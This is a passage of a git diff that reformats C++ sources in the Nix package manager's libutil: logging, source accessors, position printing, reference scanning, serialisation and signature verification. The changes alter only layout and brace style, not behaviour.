cond) @@ -71,25 +71,42 @@ public: tty = isTTY(); } - bool isVerbose() override { + bool isVerbose() override + { return printBuildLogs; } void log(Verbosity lvl, std::string_view s) override { - if (lvl > verbosity) return; + if (lvl > verbosity) + return; std::string prefix; if (systemd) { char c; switch (lvl) { - case lvlError: c = '3'; break; - case lvlWarn: c = '4'; break; - case lvlNotice: case lvlInfo: c = '5'; break; - case lvlTalkative: case lvlChatty: c = '6'; break; - case lvlDebug: case lvlVomit: c = '7'; break; - default: c = '7'; break; // should not happen, and missing enum case is reported by -Werror=switch-enum + case lvlError: + c = '3'; + break; + case lvlWarn: + c = '4'; + break; + case lvlNotice: + case lvlInfo: + c = '5'; + break; + case lvlTalkative: + case lvlChatty: + c = '6'; + break; + case lvlDebug: + case lvlVomit: + c = '7'; + break; + default: + c = '7'; + break; // should not happen, and missing enum case is reported by -Werror=switch-enum } prefix = std::string("<") + c + ">"; } @@ -105,9 +122,13 @@ public: log(ei.level, toView(oss)); } - void startActivity(ActivityId act, Verbosity lvl, ActivityType type, - const std::string & s, const Fields & fields, ActivityId parent) - override + void startActivity( + ActivityId act, + Verbosity lvl, + ActivityType type, + const std::string & s, + const Fields & fields, + ActivityId parent) override { if (lvl <= verbosity && !s.empty()) log(lvl, s + "..."); @@ -118,8 +139,7 @@ public: if (type == resBuildLogLine && printBuildLogs) { auto lastLine = fields[0].s; printError(lastLine); - } - else if (type == resPostBuildLogLine && printBuildLogs) { + } else if (type == resPostBuildLogLine && printBuildLogs) { auto lastLine = fields[0].s; printError("post-build-hook: " + lastLine); } @@ -131,9 +151,7 @@ Verbosity verbosity = lvlInfo; void writeToStderr(std::string_view s) { try { - writeFull( - getStandardError(), - s, false); + writeFull(getStandardError(), s, false); } catch (SystemError & e) { /* Ignore failing writes to stderr. We need to ignore write errors to ensure that cleanup code that logs to stderr runs @@ -158,9 +176,15 @@ static uint64_t getPid() #endif } -Activity::Activity(Logger & logger, Verbosity lvl, ActivityType type, - const std::string & s, const Logger::Fields & fields, ActivityId parent) - : logger(logger), id(nextId++ + (((uint64_t) getPid()) << 32)) +Activity::Activity( + Logger & logger, + Verbosity lvl, + ActivityType type, + const std::string & s, + const Logger::Fields & fields, + ActivityId parent) + : logger(logger) + , id(nextId++ + (((uint64_t) getPid()) << 32)) { logger.startActivity(id, lvl, type, s, fields, parent); } @@ -180,18 +204,24 @@ void to_json(nlohmann::json & json, std::shared_ptr pos) } } -struct JSONLogger : Logger { +struct JSONLogger : Logger +{ Descriptor fd; - JSONLogger(Descriptor fd) : fd(fd) { } + JSONLogger(Descriptor fd) + : fd(fd) + { + } - bool isVerbose() override { + bool isVerbose() override + { return true; } void addFields(nlohmann::json & json, const Fields & fields) { - if (fields.empty()) return; + if (fields.empty()) + return; auto & arr = json["fields"] = nlohmann::json::array(); for (auto & f : fields) if (f.type == Logger::Field::tInt) @@ -203,16 +233,13 @@ struct JSONLogger : Logger { } struct State - { - }; + {}; Sync _state; void write(const nlohmann::json & json) { - auto line = - "@nix " + - json.dump(-1, ' ', false, nlohmann::json::error_handler_t::replace); + auto line = "@nix " + json.dump(-1, ' ', false, nlohmann::json::error_handler_t::replace); /* Acquire a lock to prevent log messages from clobbering each other. */ @@ -256,8 +283,13 @@ struct JSONLogger : Logger { write(json); } - void startActivity(ActivityId act, Verbosity lvl, ActivityType type, - const std::string & s, const Fields & fields, ActivityId parent) override + void startActivity( + ActivityId act, + Verbosity lvl, + ActivityType type, + const std::string & s, + const Fields & fields, + ActivityId parent) override { nlohmann::json json; json["action"] = "start"; @@ -302,27 +334,30 @@ static Logger::Fields getFields(nlohmann::json & json) fields.emplace_back(Logger::Field(f.get())); else if (f.type() == nlohmann::json::value_t::string) fields.emplace_back(Logger::Field(f.get())); - else throw Error("unsupported JSON type %d", (int) f.type()); + else + throw Error("unsupported JSON type %d", (int) f.type()); } return fields; } std::optional parseJSONMessage(const std::string & msg, std::string_view source) { - if (!hasPrefix(msg, "@nix ")) return std::nullopt; + if (!hasPrefix(msg, "@nix ")) + return std::nullopt; try { return nlohmann::json::parse(std::string(msg, 5)); } catch (std::exception & e) { - printError("bad JSON log message from %s: %s", - Uncolored(source), - e.what()); + printError("bad JSON log message from %s: %s", Uncolored(source), e.what()); } return std::nullopt; } -bool handleJSONLogMessage(nlohmann::json & json, - const Activity & act, std::map & activities, - std::string_view source, bool trusted) +bool handleJSONLogMessage( + nlohmann::json & json, + const Activity & act, + std::map & activities, + std::string_view source, + bool trusted) { try { std::string action = json["action"]; @@ -330,10 +365,11 @@ bool handleJSONLogMessage(nlohmann::json & json, if (action == "start") { auto type = (ActivityType) json["type"]; if (trusted || type == actFileTransfer) - activities.emplace(std::piecewise_construct, + activities.emplace( + std::piecewise_construct, std::forward_as_tuple(json["id"]), - std::forward_as_tuple(*logger, (Verbosity) json["level"], type, - json["text"], getFields(json["fields"]), act.id)); + std::forward_as_tuple( + *logger, (Verbosity) json["level"], type, json["text"], getFields(json["fields"]), act.id)); } else if (action == "stop") @@ -356,21 +392,22 @@ bool handleJSONLogMessage(nlohmann::json & json, } return true; - } catch (const nlohmann::json::exception &e) { - warn( - "Unable to handle a JSON message from %s: %s", - Uncolored(source), - e.what() - ); + } catch (const nlohmann::json::exception & e) { + warn("Unable to handle a JSON message from %s: %s", Uncolored(source), e.what()); return false; } } -bool handleJSONLogMessage(const std::string & msg, - const Activity & act, std::map & activities, std::string_view source, bool trusted) +bool handleJSONLogMessage( + const std::string & msg, + const Activity & act, + std::map & activities, + std::string_view source, + bool trusted) { auto json = parseJSONMessage(msg, source); - if (!json) return false; + if (!json) + return false; return handleJSONLogMessage(*json, act, activities, source, trusted); } diff --git a/src/libutil/memory-source-accessor.cc b/src/libutil/memory-source-accessor.cc index 7764ff946..557b7ef39 100644 --- a/src/libutil/memory-source-accessor.cc +++ b/src/libutil/memory-source-accessor.cc @@ -2,15 +2,13 @@ namespace nix { -MemorySourceAccessor::File * -MemorySourceAccessor::open(const CanonPath & path, std::optional create) +MemorySourceAccessor::File * MemorySourceAccessor::open(const CanonPath & path, std::optional create) { File * cur = &root; bool newF = false; - for (std::string_view name : path) - { + for (std::string_view name : path) { auto * curDirP = std::get_if(&cur->raw); if (!curDirP) return nullptr; @@ -22,16 +20,19 @@ MemorySourceAccessor::open(const CanonPath & path, std::optional create) return nullptr; else { newF = true; - i = curDir.contents.insert(i, { - std::string { name }, - File::Directory {}, - }); + i = curDir.contents.insert( + i, + { + std::string{name}, + File::Directory{}, + }); } } cur = &i->second; } - if (newF && create) *cur = std::move(*create); + if (newF && create) + *cur = std::move(*create); return cur; } @@ -54,32 +55,33 @@ bool MemorySourceAccessor::pathExists(const CanonPath & path) MemorySourceAccessor::Stat MemorySourceAccessor::File::lstat() const { - return std::visit(overloaded { - [](const Regular & r) { - return Stat { - .type = tRegular, - .fileSize = r.contents.size(), - .isExecutable = r.executable, - }; + return std::visit( + overloaded{ + [](const Regular & r) { + return Stat{ + .type = tRegular, + .fileSize = r.contents.size(), + .isExecutable = r.executable, + }; + }, + [](const Directory &) { + return Stat{ + .type = tDirectory, + }; + }, + [](const Symlink &) { + return Stat{ + .type = tSymlink, + }; + }, }, - [](const Directory &) { - return Stat { - .type = tDirectory, - }; - }, - [](const Symlink &) { - return Stat { - .type = tSymlink, - }; - }, - }, this->raw); + this->raw); } -std::optional -MemorySourceAccessor::maybeLstat(const CanonPath & path) +std::optional MemorySourceAccessor::maybeLstat(const CanonPath & path) { const auto * f = open(path, std::nullopt); - return f ? std::optional { f->lstat() } : std::nullopt; + return f ? std::optional{f->lstat()} : std::nullopt; } MemorySourceAccessor::DirEntries MemorySourceAccessor::readDirectory(const CanonPath & path) @@ -110,7 +112,7 @@ std::string MemorySourceAccessor::readLink(const CanonPath & path) SourcePath MemorySourceAccessor::addFile(CanonPath path, std::string && contents) { - auto * f = open(path, File { File::Regular {} }); + auto * f = open(path, File{File::Regular{}}); if (!f) throw Error("file '%s' cannot be made because some parent file is not a directory", path); if (auto * r = std::get_if(&f->raw)) @@ -121,12 +123,11 @@ SourcePath MemorySourceAccessor::addFile(CanonPath path, std::string && contents return SourcePath{ref(shared_from_this()), path}; } - using File = MemorySourceAccessor::File; void MemorySink::createDirectory(const CanonPath & path) { - auto * f = dst.open(path, File { File::Directory { } }); + auto * f = dst.open(path, File{File::Directory{}}); if (!f) throw Error("file '%s' cannot be made because some parent file is not a directory", path); @@ -134,25 +135,27 @@ void MemorySink::createDirectory(const CanonPath & path) throw Error("file '%s' is not a directory", path); }; -struct CreateMemoryRegularFile : CreateRegularFileSink { +struct CreateMemoryRegularFile : CreateRegularFileSink +{ File::Regular & regularFile; CreateMemoryRegularFile(File::Regular & r) : regularFile(r) - { } + { + } - void operator () (std::string_view data) override; + void operator()(std::string_view data) override; void isExecutable() override; void preallocateContents(uint64_t size) override; }; void MemorySink::createRegularFile(const CanonPath & path, std::function func) { - auto * f = dst.open(path, File { File::Regular {} }); + auto * f = dst.open(path, File{File::Regular{}}); if (!f) throw Error("file '%s' cannot be made because some parent file is not a directory", path); if (auto * rp = std::get_if(&f->raw)) { - CreateMemoryRegularFile crf { *rp }; + CreateMemoryRegularFile crf{*rp}; func(crf); } else throw Error("file '%s' is not a regular file", path); @@ -168,14 +171,14 @@ void CreateMemoryRegularFile::preallocateContents(uint64_t len) regularFile.contents.reserve(len); } -void CreateMemoryRegularFile::operator () (std::string_view data) +void CreateMemoryRegularFile::operator()(std::string_view data) { regularFile.contents += data; } void MemorySink::createSymlink(const CanonPath & path, const std::string & target) { - auto * f = dst.open(path, File { File::Symlink { } }); + auto * f = dst.open(path, File{File::Symlink{}}); if (!f) throw Error("file '%s' cannot be made because some parent file is not a directory", path); if (auto * s = std::get_if(&f->raw)) diff --git a/src/libutil/position.cc b/src/libutil/position.cc index dfe0e2abb..f37d6a152 100644 --- a/src/libutil/position.cc +++ b/src/libutil/position.cc @@ -41,29 +41,27 @@ std::optional Pos::getCodeLines() const return std::nullopt; } - std::optional Pos::getSource() const { - return std::visit(overloaded { - [](const std::monostate &) -> std::optional { - return std::nullopt; - }, - [](const Pos::Stdin & s) -> std::optional { - // Get rid of the null terminators added by the parser. - return std::string(s.source->c_str()); - }, - [](const Pos::String & s) -> std::optional { - // Get rid of the null terminators added by the parser. - return std::string(s.source->c_str()); - }, - [](const SourcePath & path) -> std::optional { - try { - return path.readFile(); - } catch (Error &) { - return std::nullopt; - } - } - }, origin); + return std::visit( + overloaded{ + [](const std::monostate &) -> std::optional { return std::nullopt; }, + [](const Pos::Stdin & s) -> std::optional { + // Get rid of the null terminators added by the parser. + return std::string(s.source->c_str()); + }, + [](const Pos::String & s) -> std::optional { + // Get rid of the null terminators added by the parser. + return std::string(s.source->c_str()); + }, + [](const SourcePath & path) -> std::optional { + try { + return path.readFile(); + } catch (Error &) { + return std::nullopt; + } + }}, + origin); } std::optional Pos::getSourcePath() const @@ -76,12 +74,13 @@ std::optional Pos::getSourcePath() const void Pos::print(std::ostream & out, bool showOrigin) const { if (showOrigin) { - std::visit(overloaded { - [&](const std::monostate &) { out << "«none»"; }, - [&](const Pos::Stdin &) { out << "«stdin»"; }, - [&](const Pos::String & s) { out << "«string»"; }, - [&](const SourcePath & path) { out << path; } - }, origin); + std::visit( + overloaded{ + [&](const std::monostate &) { out << "«none»"; }, + [&](const Pos::Stdin &) { out << "«stdin»"; }, + [&](const Pos::String & s) { out << "«string»"; }, + [&](const SourcePath & path) { out << path; }}, + origin); out << ":"; } out << line; @@ -117,7 +116,8 @@ void Pos::LinesIterator::bump(bool atFirst) input.remove_prefix(eol); } -std::optional Pos::getSnippetUpTo(const Pos & end) const { +std::optional Pos::getSnippetUpTo(const Pos & end) const +{ assert(this->origin == end.origin); if (end.line < this->line) @@ -162,5 +162,4 @@ std::optional Pos::getSnippetUpTo(const Pos & end) const { return std::nullopt; } - } diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index 5c7b4654b..e39585b8a 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -15,43 +15,41 @@ PosixSourceAccessor::PosixSourceAccessor(std::filesystem::path && argRoot) } PosixSourceAccessor::PosixSourceAccessor() - : PosixSourceAccessor(std::filesystem::path {}) -{ } + : PosixSourceAccessor(std::filesystem::path{}) +{ +} SourcePath PosixSourceAccessor::createAtRoot(const std::filesystem::path & path) { std::filesystem::path path2 = absPath(path); return { make_ref(path2.root_path()), - CanonPath { path2.relative_path().string() }, + CanonPath{path2.relative_path().string()}, }; } std::filesystem::path PosixSourceAccessor::makeAbsPath(const CanonPath & path) { - return root.empty() - ? (std::filesystem::path { path.abs() }) - : path.isRoot() - ? /* Don't append a slash for the root of the accessor, since - it can be a non-directory (e.g. in the case of `fetchTree - { type = "file" }`). */ - root - : root / path.rel(); + return root.empty() ? (std::filesystem::path{path.abs()}) + : path.isRoot() ? /* Don't append a slash for the root of the accessor, since + it can be a non-directory (e.g. in the case of `fetchTree + { type = "file" }`). */ + root + : root / path.rel(); } -void PosixSourceAccessor::readFile( - const CanonPath & path, - Sink & sink, - std::function sizeCallback) +void PosixSourceAccessor::readFile(const CanonPath & path, Sink & sink, std::function sizeCallback) { assertNoSymlinks(path); auto ap = makeAbsPath(path); - AutoCloseFD fd = toDescriptor(open(ap.string().c_str(), O_RDONLY - #ifndef _WIN32 - | O_NOFOLLOW | O_CLOEXEC - #endif + AutoCloseFD fd = toDescriptor(open( + ap.string().c_str(), + O_RDONLY +#ifndef _WIN32 + | O_NOFOLLOW | O_CLOEXEC +#endif )); if (!fd) throw SysError("opening file '%1%'", ap.string()); @@ -71,8 +69,7 @@ void PosixSourceAccessor::readFile( if (rd == -1) { if (errno != EINTR) throw SysError("reading from file '%s'", showPath(path)); - } - else if (rd == 0) + } else if (rd == 0) throw SysError("unexpected end-of-file reading '%s'", showPath(path)); else { assert(rd <= left); @@ -84,7 +81,8 @@ void PosixSourceAccessor::readFile( bool PosixSourceAccessor::pathExists(const CanonPath & path) { - if (auto parent = path.parent()) assertNoSymlinks(*parent); + if (auto parent = path.parent()) + assertNoSymlinks(*parent); return nix::pathExists(makeAbsPath(path).string()); } @@ -99,13 +97,15 @@ std::optional PosixSourceAccessor::cachedLstat(const CanonPath & pa { auto cache(_cache.readLock()); auto i = cache->find(absPath); - if (i != cache->end()) return i->second; + if (i != cache->end()) + return i->second; } auto st = nix::maybeLstat(absPath.c_str()); auto cache(_cache.lock()); - if (cache->size() >= 16384) cache->clear(); + if (cache->size() >= 16384) + cache->clear(); cache->emplace(absPath, st); return st; @@ -113,22 +113,25 @@ std::optional PosixSourceAccessor::cachedLstat(const CanonPath & pa std::optional PosixSourceAccessor::maybeLstat(const CanonPath & path) { - if (auto parent = path.parent()) assertNoSymlinks(*parent); + if (auto parent = path.parent()) + assertNoSymlinks(*parent); auto st = cachedLstat(path); - if (!st) return std::nullopt; + if (!st) + return std::nullopt; mtime = std::max(mtime, st->st_mtime); - return Stat { - .type = - S_ISREG(st->st_mode) ? tRegular : - S_ISDIR(st->st_mode) ? tDirectory : - S_ISLNK(st->st_mode) ? tSymlink : - S_ISCHR(st->st_mode) ? tChar : - S_ISBLK(st->st_mode) ? tBlock : + return Stat{ + .type = S_ISREG(st->st_mode) ? tRegular + : S_ISDIR(st->st_mode) ? tDirectory + : S_ISLNK(st->st_mode) ? tSymlink + : S_ISCHR(st->st_mode) ? tChar + : S_ISBLK(st->st_mode) ? tBlock + : #ifdef S_ISSOCK - S_ISSOCK(st->st_mode) ? tSocket : + S_ISSOCK(st->st_mode) ? tSocket + : #endif - S_ISFIFO(st->st_mode) ? tFifo : - tUnknown, + S_ISFIFO(st->st_mode) ? tFifo + : tUnknown, .fileSize = S_ISREG(st->st_mode) ? std::optional(st->st_size) : std::nullopt, .isExecutable = S_ISREG(st->st_mode) && st->st_mode & S_IXUSR, }; @@ -151,23 +154,39 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & // already, but this isn't always the case.) if (e.code() == std::errc::permission_denied || e.code() == std::errc::operation_not_permitted) return std::nullopt; - else throw; + else + throw; } // cannot exhaustively enumerate because implementation-specific // additional file types are allowed. #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wswitch-enum" - switch (nativeType) { - case std::filesystem::file_type::regular: return Type::tRegular; break; - case std::filesystem::file_type::symlink: return Type::tSymlink; break; - case std::filesystem::file_type::directory: return Type::tDirectory; break; - case std::filesystem::file_type::character: return Type::tChar; break; - case std::filesystem::file_type::block: return Type::tBlock; break; - case std::filesystem::file_type::fifo: return Type::tFifo; break; - case std::filesystem::file_type::socket: return Type::tSocket; break; - default: return tUnknown; - } + switch (nativeType) { + case std::filesystem::file_type::regular: + return Type::tRegular; + break; + case std::filesystem::file_type::symlink: + return Type::tSymlink; + break; + case std::filesystem::file_type::directory: + return Type::tDirectory; + break; + case std::filesystem::file_type::character: + return Type::tChar; + break; + case std::filesystem::file_type::block: + return Type::tBlock; + break; + case std::filesystem::file_type::fifo: + return Type::tFifo; + break; + case std::filesystem::file_type::socket: + return Type::tSocket; + break; + default: + return tUnknown; + } #pragma GCC diagnostic pop }(); res.emplace(entry.path().filename().string(), type); @@ -180,7 +199,8 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & std::string PosixSourceAccessor::readLink(const CanonPath & path) { - if (auto parent = path.parent()) assertNoSymlinks(*parent); + if (auto parent = path.parent()) + assertNoSymlinks(*parent); return nix::readLink(makeAbsPath(path).string()); } diff --git a/src/libutil/references.cc b/src/libutil/references.cc index 66ad9d37c..4e5332574 100644 --- a/src/libutil/references.cc +++ b/src/libutil/references.cc @@ -7,27 +7,22 @@ #include #include - namespace nix { - static size_t refLength = 32; /* characters */ - -static void search( - std::string_view s, - StringSet & hashes, - StringSet & seen) +static void search(std::string_view s, StringSet & hashes, StringSet & seen) { static std::once_flag initialised; static bool isBase32[256]; - std::call_once(initialised, [](){ - for (unsigned int i = 0; i < 256; ++i) isBase32[i] = false; + std::call_once(initialised, []() { + for (unsigned int i = 0; i < 256; ++i) + isBase32[i] = false; for (unsigned int i = 0; i < nix32Chars.size(); ++i) isBase32[(unsigned char) nix32Chars[i]] = true; }); - for (size_t i = 0; i + refLength <= s.size(); ) { + for (size_t i = 0; i + refLength <= s.size();) { int j; bool match = true; for (j = refLength - 1; j >= 0; --j) @@ -36,7 +31,8 @@ static void search( match = false; break; } - if (!match) continue; + if (!match) + continue; std::string ref(s.substr(i, refLength)); if (hashes.erase(ref)) { debug("found reference to '%1%' at offset '%2%'", ref, i); @@ -46,8 +42,7 @@ static void search( } } - -void RefScanSink::operator () (std::string_view data) +void RefScanSink::operator()(std::string_view data) { /* It's possible that a reference spans the previous and current fragment, so search in the concatenation of the tail of the @@ -65,14 +60,14 @@ void RefScanSink::operator () (std::string_view data) tail.append(data.data() + data.size() - tailLen, tailLen); } - RewritingSink::RewritingSink(const std::string & from, const std::string & to, Sink & nextSink) : RewritingSink({{from, to}}, nextSink) { } RewritingSink::RewritingSink(const StringMap & rewrites, Sink & nextSink) - : rewrites(rewrites), nextSink(nextSink) + : rewrites(rewrites) + , nextSink(nextSink) { std::string::size_type maxRewriteSize = 0; for (auto & [from, to] : rewrites) { @@ -82,29 +77,29 @@ RewritingSink::RewritingSink(const StringMap & rewrites, Sink & nextSink) this->maxRewriteSize = maxRewriteSize; } -void RewritingSink::operator () (std::string_view data) +void RewritingSink::operator()(std::string_view data) { std::string s(prev); s.append(data); s = rewriteStrings(s, rewrites); - prev = s.size() < maxRewriteSize - ? s - : maxRewriteSize == 0 - ? "" - : std::string(s, s.size() - maxRewriteSize + 1, maxRewriteSize - 1); + prev = s.size() < maxRewriteSize ? s + : maxRewriteSize == 0 ? "" + : std::string(s, s.size() - maxRewriteSize + 1, maxRewriteSize - 1); auto consumed = s.size() - prev.size(); pos += consumed; - if (consumed) nextSink(s.substr(0, consumed)); + if (consumed) + nextSink(s.substr(0, consumed)); } void RewritingSink::flush() { - if (prev.empty()) return; + if (prev.empty()) + return; pos += prev.size(); nextSink(prev); prev.clear(); @@ -116,7 +111,7 @@ HashModuloSink::HashModuloSink(HashAlgorithm ha, const std::string & modulus) { } -void HashModuloSink::operator () (std::string_view data) +void HashModuloSink::operator()(std::string_view data) { rewritingSink(data); } diff --git a/src/libutil/serialise.cc b/src/libutil/serialise.cc index 55397c6d4..de6264ad3 100644 --- a/src/libutil/serialise.cc +++ b/src/libutil/serialise.cc @@ -9,20 +9,19 @@ #include #ifdef _WIN32 -# include -# include -# include "nix/util/windows-error.hh" +# include +# include +# include "nix/util/windows-error.hh" #else -# include +# include #endif - namespace nix { - -void BufferedSink::operator () (std::string_view data) +void BufferedSink::operator()(std::string_view data) { - if (!buffer) buffer = decltype(buffer)(new char[bufSize]); + if (!buffer) + buffer = decltype(buffer)(new char[bufSize]); while (!data.empty()) { /* Optimisation: bypass the buffer if the data exceeds the @@ -36,27 +35,31 @@ void BufferedSink::operator () (std::string_view data) when it's full. */ size_t n = bufPos + data.size() > bufSize ? bufSize - bufPos : data.size(); memcpy(buffer.get() + bufPos, data.data(), n); - data.remove_prefix(n); bufPos += n; - if (bufPos == bufSize) flush(); + data.remove_prefix(n); + bufPos += n; + if (bufPos == bufSize) + flush(); } } - void BufferedSink::flush() { - if (bufPos == 0) return; + if (bufPos == 0) + return; size_t n = bufPos; bufPos = 0; // don't trigger the assert() in ~BufferedSink() writeUnbuffered({buffer.get(), n}); } - FdSink::~FdSink() { - try { flush(); } catch (...) { ignoreExceptionInDestructor(); } + try { + flush(); + } catch (...) { + ignoreExceptionInDestructor(); + } } - void FdSink::writeUnbuffered(std::string_view data) { written += data.size(); @@ -68,24 +71,23 @@ void FdSink::writeUnbuffered(std::string_view data) } } - bool FdSink::good() { return _good; } - -void Source::operator () (char * data, size_t len) +void Source::operator()(char * data, size_t len) { while (len) { size_t n = read(data, len); - data += n; len -= n; + data += n; + len -= n; } } -void Source::operator () (std::string_view data) +void Source::operator()(std::string_view data) { - (*this)((char *)data.data(), data.size()); + (*this)((char *) data.data(), data.size()); } void Source::drainInto(Sink & sink) @@ -102,7 +104,6 @@ void Source::drainInto(Sink & sink) } } - std::string Source::drain() { StringSink s; @@ -110,28 +111,28 @@ std::string Source::drain() return std::move(s.s); } - size_t BufferedSource::read(char * data, size_t len) { - if (!buffer) buffer = decltype(buffer)(new char[bufSize]); + if (!buffer) + buffer = decltype(buffer)(new char[bufSize]); - if (!bufPosIn) bufPosIn = readUnbuffered(buffer.get(), bufSize); + if (!bufPosIn) + bufPosIn = readUnbuffered(buffer.get(), bufSize); /* Copy out the data in the buffer. */ size_t n = len > bufPosIn - bufPosOut ? bufPosIn - bufPosOut : len; memcpy(data, buffer.get() + bufPosOut, n); bufPosOut += n; - if (bufPosIn == bufPosOut) bufPosIn = bufPosOut = 0; + if (bufPosIn == bufPosOut) + bufPosIn = bufPosOut = 0; return n; } - bool BufferedSource::hasData() { return bufPosOut < bufPosIn; } - size_t FdSource::readUnbuffered(char * data, size_t len) { #ifdef _WIN32 @@ -147,23 +148,28 @@ size_t FdSource::readUnbuffered(char * data, size_t len) checkInterrupt(); n = ::read(fd, data, len); } while (n == -1 && errno == EINTR); - if (n == -1) { _good = false; throw SysError("reading from file"); } - if (n == 0) { _good = false; throw EndOfFile(std::string(*endOfFileError)); } + if (n == -1) { + _good = false; + throw SysError("reading from file"); + } + if (n == 0) { + _good = false; + throw EndOfFile(std::string(*endOfFileError)); + } #endif read += n; return n; } - bool FdSource::good() { return _good; } - bool FdSource::hasData() { - if (BufferedSource::hasData()) return true; + if (BufferedSource::hasData()) + return true; while (true) { fd_set fds; @@ -177,25 +183,25 @@ bool FdSource::hasData() auto n = select(fd_ + 1, &fds, nullptr, nullptr, &timeout); if (n < 0) { - if (errno == EINTR) continue; + if (errno == EINTR) + continue; throw SysError("polling file descriptor"); } return FD_ISSET(fd, &fds); } } - size_t StringSource::read(char * data, size_t len) { - if (pos == s.size()) throw EndOfFile("end of string reached"); + if (pos == s.size()) + throw EndOfFile("end of string reached"); size_t n = s.copy(data, len, pos); pos += n; return n; } - #if BOOST_VERSION >= 106300 && BOOST_VERSION < 106600 -#error Coroutines are broken in this version of Boost! +# error Coroutines are broken in this version of Boost! #endif std::unique_ptr sourceToSink(std::function fun) @@ -207,15 +213,17 @@ std::unique_ptr sourceToSink(std::function fun) std::function fun; std::optional coro; - SourceToSink(std::function fun) : fun(fun) + SourceToSink(std::function fun) + : fun(fun) { } std::string_view cur; - void operator () (std::string_view in) override + void operator()(std::string_view in) override { - if (in.empty()) return; + if (in.empty()) + return; cur = in; if (!coro) { @@ -235,7 +243,9 @@ std::unique_ptr sourceToSink(std::function fun) }); } - if (!*coro) { unreachable(); } + if (!*coro) { + unreachable(); + } if (!cur.empty()) { (*coro)(false); @@ -252,10 +262,7 @@ std::unique_ptr sourceToSink(std::function fun) return std::make_unique(fun); } - -std::unique_ptr sinkToSource( - std::function fun, - std::function eof) +std::unique_ptr sinkToSource(std::function fun, std::function eof) { struct SinkToSource : Source { @@ -266,7 +273,8 @@ std::unique_ptr sinkToSource( std::optional coro; SinkToSource(std::function fun, std::function eof) - : fun(fun), eof(eof) + : fun(fun) + , eof(eof) { } @@ -309,7 +317,6 @@ std::unique_ptr sinkToSource( return std::make_unique(fun, eof); } - void writePadding(size_t len, Sink & sink) { if (len % 8) { @@ -319,7 +326,6 @@ void writePadding(size_t len, Sink & sink) } } - void writeString(std::string_view data, Sink & sink) { sink << data.size(); @@ -327,43 +333,38 @@ void writeString(std::string_view data, Sink & sink) writePadding(data.size(), sink); } - -Sink & operator << (Sink & sink, std::string_view s) +Sink & operator<<(Sink & sink, std::string_view s) { writeString(s, sink); return sink; } - -template void writeStrings(const T & ss, Sink & sink) +template +void writeStrings(const T & ss, Sink & sink) { sink << ss.size(); for (auto & i : ss) sink << i; } -Sink & operator << (Sink & sink, const Strings & s) +Sink & operator<<(Sink & sink, const Strings & s) { writeStrings(s, sink); return sink; } -Sink & operator << (Sink & sink, const StringSet & s) +Sink & operator<<(Sink & sink, const StringSet & s) { writeStrings(s, sink); return sink; } -Sink & operator << (Sink & sink, const Error & ex) +Sink & operator<<(Sink & sink, const Error & ex) { auto & info = ex.info(); - sink - << "Error" - << info.level - << "Error" // removed - << info.msg.str() - << 0 // FIXME: info.errPos - << info.traces.size(); + sink << "Error" << info.level << "Error" // removed + << info.msg.str() << 0 // FIXME: info.errPos + << info.traces.size(); for (auto & trace : info.traces) { sink << 0; // FIXME: trace.pos sink << trace.hint.str(); @@ -371,7 +372,6 @@ Sink & operator << (Sink & sink, const Error & ex) return sink; } - void readPadding(size_t len, Source & source) { if (len % 8) { @@ -379,39 +379,40 @@ void readPadding(size_t len, Source & source) size_t n = 8 - (len % 8); source(zero, n); for (unsigned int i = 0; i < n; i++) - if (zero[i]) throw SerialisationError("non-zero padding"); + if (zero[i]) + throw SerialisationError("non-zero padding"); } } - size_t readString(char * buf, size_t max, Source & source) { auto len = readNum(source); - if (len > max) throw SerialisationError("string is too long"); + if (len > max) + throw SerialisationError("string is too long"); source(buf, len); readPadding(len, source); return len; } - std::string readString(Source & source, size_t max) { auto len = readNum(source); - if (len > max) throw SerialisationError("string is too long"); + if (len > max) + throw SerialisationError("string is too long"); std::string res(len, 0); source(res.data(), len); readPadding(len, source); return res; } -Source & operator >> (Source & in, std::string & s) +Source & operator>>(Source & in, std::string & s) { s = readString(in); return in; } - -template T readStrings(Source & source) +template +T readStrings(Source & source) { auto count = readNum(source); T ss; @@ -423,7 +424,6 @@ template T readStrings(Source & source) template Paths readStrings(Source & source); template PathSet readStrings(Source & source); - Error readError(Source & source) { auto type = readString(source); @@ -431,7 +431,7 @@ Error readError(Source & source) auto level = (Verbosity) readInt(source); [[maybe_unused]] auto name = readString(source); // removed auto msg = readString(source); - ErrorInfo info { + ErrorInfo info{ .level = level, .msg = HintFmt(msg), }; @@ -441,15 +441,12 @@ Error readError(Source & source) for (size_t i = 0; i < nrTraces; ++i) { havePos = readNum(source); assert(havePos == 0); - info.traces.push_back(Trace { - .hint = HintFmt(readString(source)) - }); + info.traces.push_back(Trace{.hint = HintFmt(readString(source))}); } return Error(std::move(info)); } - -void StringSink::operator () (std::string_view data) +void StringSink::operator()(std::string_view data) { s.append(data); } diff --git a/src/libutil/signature/local-keys.cc b/src/libutil/signature/local-keys.cc index 1f7f2c7de..3134804df 100644 --- a/src/libutil/signature/local-keys.cc +++ b/src/libutil/signature/local-keys.cc @@ -51,8 +51,7 @@ std::string SecretKey::signDetached(std::string_view data) const { unsigned char sig[crypto_sign_BYTES]; unsigned long long sigLen; - crypto_sign_detached(sig, &sigLen, (unsigned char *) data.data(), data.size(), - (unsigned char *) key.data()); + crypto_sign_detached(sig, &sigLen, (unsigned char *) data.data(), data.size(), (unsigned char *) key.data()); return name + ":" + base64Encode(std::string((char *) sig, sigLen)); } @@ -84,7 +83,8 @@ bool PublicKey::verifyDetached(std::string_view data, std::string_view sig) cons { auto ss = BorrowedCryptoValue::parse(sig); - if (ss.name != std::string_view { name }) return false; + if (ss.name != std::string_view{name}) + return false; return verifyDetachedAnon(data, ss.payload); } @@ -100,9 +100,9 @@ bool PublicKey::verifyDetachedAnon(std::string_view data, std::string_view sig) if (sig2.size() != crypto_sign_BYTES) throw Error("signature is not valid"); - return crypto_sign_verify_detached((unsigned char *) sig2.data(), - (unsigned char *) data.data(), data.size(), - (unsigned char *) key.data()) == 0; + return crypto_sign_verify_detached( + (unsigned char *) sig2.data(), (unsigned char *) data.data(), data.size(), (unsigned char *) key.data()) + == 0; } bool verifyDetached(std::string_view data, std::string_view sig, const PublicKeys & publicKeys) @@ -110,7 